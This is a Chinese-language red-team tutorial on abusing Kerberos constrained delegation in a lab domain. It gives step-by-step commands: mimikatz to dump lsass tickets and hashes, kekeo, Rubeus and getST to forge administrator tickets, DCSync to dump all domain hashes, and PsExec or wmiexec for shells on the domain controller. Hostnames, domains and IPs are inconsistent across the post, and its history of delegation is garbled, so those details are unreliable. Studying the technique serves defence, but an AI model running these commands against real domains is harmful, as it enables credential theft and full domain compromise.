Life has its own fate, and meeting may not be accidental.

0%

约束性委派利用

概念

Widnows Server 2003 之后微软引入了非约束委派。同时,为了顺利进行约束性委派,微软于2007年为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议S4u2self(Service for User to Self)S4U2proxy(Service for User to Proxy)
约束委派有两种:

  1. 仅使用Kerberos,不能进行协议转换
  2. 使用任何身份验证协议

S4u2self & S4U2proxy

S4U2self协议允许服务代表任意用户请求访问自身服务的ST服务票据;
S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据;
约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
配置了约束性委派的账户属性会有如下两个变化:

  1. 账户userAccountControl属性设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值16781312
  2. 账户msDS-AllowedToDelegateTo属性,添加允许委派的服务。

环境介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
域名: redteam.com
域控:
操作系统: Windows Server 2016
主机名: ad02-2016
IP: 10.10.1.10

主机名: ad02-2016
IP: 10.10.1.11
域内主机:
操作系统: Windows server 2012
主机名: web-2012
IP: 10.10.10.12
攻击机:
操作系统: win 10
IP: 10.10.10.22

搭建环境

机器账户
活动目录中的computers组内的计算机,也被称为机器账号。
服务账户
域账户注册SPN成为服务账户

1
2
3
4
5
setspn -U -A cifs/web-2012.redteam.red saulgoodman #saulgoodman为用户名
setspn -U -A cifs/web-2012.redteam.red web-2012 #web-2012为主机名

#取消注册
setspn -D cifs/web-2012.redteam.red

域账户变成服务账户后会有委派,仅信任此用户作为指定服务的委派 -> 添加想要委派的服务。

![image.png](1.png %}

约束委派服务账户特征

配置了约束性委派的账户属性会有如下两个变化。
账户 userAccountControl 属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,账户 msDS-AllowedToDelegateTo 属性,添加允许委派的服务。
![image.png](2.png %}

查询方法

方法1:ADFind

1
2
3
4
5
# AdFind.exe查询约束委派机器账户
.\AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
.\AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

![image.png](3.png %}

方法2:SharpView

1
2
3
4
5
# PowerView查询约束委派机器账户
.\sharpview.exe Get-DomainComputer -TrustedToAuth -Doamin redteam.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto -AutoSize

# PowerView查询约束委派服务账户
.\sharpview.exe Get-DomainUser –TrustedToAuth -Domain redteam.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

![image.png](4.png %}

攻击思路

机器账户

方法1:使用机器账户的票据 | kekeo

约束性委派攻击的关键就是获得可转发的服务票据ST,获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket,利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

使用mimikatz工具导出lsass.exe进程中所有的票据,得到想要的服务票据

1
2
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

![image.png](5.png %}

使用kekeo工具申请服务票据(S4U2Proxy协议)

1
2
3
4
5
6
7
8
9
10
# 申请服务票据
.\kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-web-2012$@krbtgt-REDTEAM.COM.kirbi /user:Administrator@redteam.COM /service:cifs/ad01-2016.redteam.com" "exit"

# 导入票据
.\mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.com@REDTEAM.COM_cifs~ad01-2016.redteam.com@REDTEAM.com.kirbi" "exit"

# 访问
dir \\ad01-2016.redteam.com\c$

.\Psexec.exe -accepteula \\ad01-2016.redteam.red cmd

方法2:使用机器账户的Hash值 | Rubeus

与思路一类似,但是这里使用的是Hash值,利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派
1
2
# 使用mimikatz获取机器账户NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

使用Rubeus申请访问自身的可转发服务票据

1
2
3
4
5
6
7
8
# 使用Rubeus申请配置了约束委派机器账户web-2012$的TGT
.\Rubeus.exe asktgt /user:WEB-2012$ /rc4:40ee25b2c3f7ac3370429b18aca51e81 /domain:redteam.red /dc:ad02-2016.redteam.red /nowrap

# 使用Rubeus通过S4U2Self协议代表域管理员Administrator请求针对域控LDAP服务的票据,并注入内存
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:ldap/ad02-2016.redteam.red /dc:ad02-2016.redteam.red /ptt /ticket:doIE/jCCBPqgAwIBBaEDAgEWooIEFTCCBBFhggQNMIIECaADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA88wggPLoAMCARKhAwIBAqKCA70EggO5H/WWv61D37Lh8CgUrZXK+OCIcG1ppRSAswcwQuaD4XOCz+v9+wZRJ6xY1DRAQ7HK0fIrp96Z54o0al1nMCGXkKRrq4+UyiTuDABdCUxj/bKj0m/DanX6Bm82LFah0J8CRpFsbt5i1F0U/0t79e8lGbWqmTajaeTgYQrLFmWMUTL8+DQ7E02wth14UY/rBBF/oDwdVhoFovwvkjSiLYx3ePyX20Gmz8IH+1ReqZajI8I4FGn1fV6FSzlUI7eWMumOkV61iV3uW1Zw7OqawRTcbx/33rBjkpKsBCY0Gx41q63a8HiLua1tJZkJOERmUWjr/7EZeZ+RbcgvDT3yOGD1L0y2iHTnGk1+maS3Rbee7EtERg4RmSwXUMnoRsle6/oVFyVdGhpbf8ePiCUY1IQCLNIt7YcleNljrOxSZwPIH1lBwIxiRNrgyhnJbcFKhroZg+dbITKaZYP1j1jcOdlpA2t5qF/kgIcuTSyz7E8bMvm+34TwLjOF+bw+5O3riugezUL0nhZRxxZGYfixtOLTN+wxLfDOvqzBbE9HOSJJOeoxGsktl8y5ULQ1cSxEyYjklxlMrv8/t2jJKJE60VrJS+f+VhYw0de+6AJ08aSWJrfAQQ6T9aAyBFr+flOnx93aIYb5ql6W5rZ9Q5OKDcms/1rIzVDoPdB2ZAQxPkquHB8vFAXO86rKw1k1SauMxn8sOFVdocF56eWHIEUegVe4mpGLipQMTMJnFCGhuq1IlLZbPTnFykDM9cR+FZb3d5uUN45BGIS2TEKtie6yBROP5mX3F6273srlBM/XOgOUXPnradx1RUPJ2zEM9L8PYKKm516wTJLirmAYRI4FSdQ3hHuMLeTrHNE8BggLf1AhTQizCf7iUJFf7hJv09gIugLFNXtqakKFeAnxz7Ej+X9Q3xyaR39IBIKPrtd/ChkbDZYiID9n31sGQ4oTyYEQDoef4zIhq/x3qRxeroCFKG4yRdVKo8eBEq4a5TPuHIbstXO//3ZAcxFmK8Kcs+PHbkgyDyGiLdhf2GjnGDtBL1Hj4nJHVCXZR49XNhpCKY2iG/JkVq0RFoxn1X06BY7WcMQybIoXeD0jjXrEQn7Qh6xe6SsRsu5YU0npq8TBEcI6F3wtzGZX9KMLnHIRRfcsBlCLi5LOgIl/byAkR/ImxzlhVi/TxDn1p3kDOj+qHzcayOm0SBzr4kES/T6DCsoSCaeAYUzR5CSn4hnEtTzoTJGmAgR602Hp2HymQSfjlQQk9rqPiZCGLg7i+3GjgdQwgdGgAwIBAKKByQSBxn2BwzCBwKCBvTCBujCBt6AbMBmgAwIBF6ESBBCrZ+acKyJr6OeDK5YKeYM0oQ0bC1JFRFRFQU0uUkVEohYwFKADAgEBoQ0wCxsJV0VCLTIwMTIkowcDBQBA4QAApREYDzIwMjMwMjA3MDgzOTM4WqYRGA8yMDIzMDIwNzE4MzkzOFqnERgPMjAyMzAyMTQwODM5MzhaqA0bC1JFRFRFQU0uUkVEqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZA==

# 直接dir
dir \\ad02-2016.redteam.red\c$

![image.png](6.png %}

方法3:使用机器账户的Hash值 | getST

同思路2一致,也是使用机器账户的Hash值,但这里使用Impacket工具套件中的getST.py脚本请求服务票据,并利用该脚本通过wmiexec.py工具远程登录
利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派
    1
    2
    3
    4
    5
    6
    7
    8
    9
    # mimikatz获取机器账户NTLM Hash值
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

    # 使用getST申请服务票据
    .\getST.exe -dc-ip 10.10.10.10 -spn cifs/ad01-2016.redteam.com -impersonate administrator redteam.com/web-2012$ -hashes :1d01ff5cd4825306ff1a7599204525ec

    # 使用票据远程访问
    set KRB5CCNAME=administrator.ccache
    .\wmiexec.exe -k redteam.com/administrator@ad01-2016.redteam.com -no-pass -dc-ip 10.10.10.10 -codec gbk
    ![image.png](7.png %}

方法4:使用机器账户的Hash值 | kekeo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 请求票据
.\kekeo.exe "tgt::ask /user:web-2012$ /domain:redteam.red /NTLM:40ee25b2c3f7ac3370429b18aca51e81" "exit"

# 申请administrator权限的票据
.\kekeo.exe "tgs::s4u /tgt:TGT_web-2012$@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:ldap/ad02-2016.redteam.red" "exit"

## kekeo注入票据
.\kekeo.exe "kerberos::ptt TGS_Administrator@redteam.red@redteam.red_ldap~ad02-2016.redteam.red@redteam.red.kirbi" "exit"

# mimikatz通过ldap服务导出hash
.\mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_ldap~ad02-2016.redteam.red@REDTEAM.RED.kirbi" "lsadump::dcsync /domain:redteam.com /all /csv" "exit"

# 访问
dir \\ad02-2016.redteam.red\c$

# psexec
.\Psexec.exe -accepteula \\ad02-2016.redteam.red cmd

![image.png](8.png %}
ldap账户
![image.png](9.png %}

服务账户

域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等,还有就是域用户通过注册SPN也能成为服务账号。

方法1:使用服务账户的票据 | kekeo

1
2
3
4
5
## 通过kekeo请求服务用户的TGT
tgt::ask /user:saulgoodman /domain:redteam.red /password:Saul!@#456 /ticket:test.kirbi

## 同理此处利用ntlm hash也是可以进行请求的
tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

![image.png](10.png %}

1
2
## 利用票据通过伪造S4U请求以administrator身份访问websec的ST
tgs::s4u /tgt:TGT_saulgoodman@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/AD02-2016.redteam.red

![image.png](11.png %}

kekeo当前路径下会出现administrator的ticket (用于访问saulgoodman的CIFS服务), 访问saulgoodman的cifs服务: 使用kekeo导入票据访问域控。
cifs服务

1
2
3
4
5
6
7
8
## kekeo导入这个tiket
kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD02-2016.redteam.red@REDTEAM.RED.kirbi

## cmd
.\PsExec.exe \\ad02-2016.redteam.red cmd

## dir
dir \\ad02-2016.redteam.red\c$

![image.png](12.png %}

![image.png](13.png %}

ldap服务

1
2
3
4
5
## mimikatz导入ptt
kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD02-2016.redteam.red@REDTEAM.RED.kirbi

## mimikatz不用本机管理员,导入kiket即可不用 "privilege::debug"
lsadump::dcsync /domain:redteam.com /all /csv

![image.png](14.png %}

![image.png](15.png %}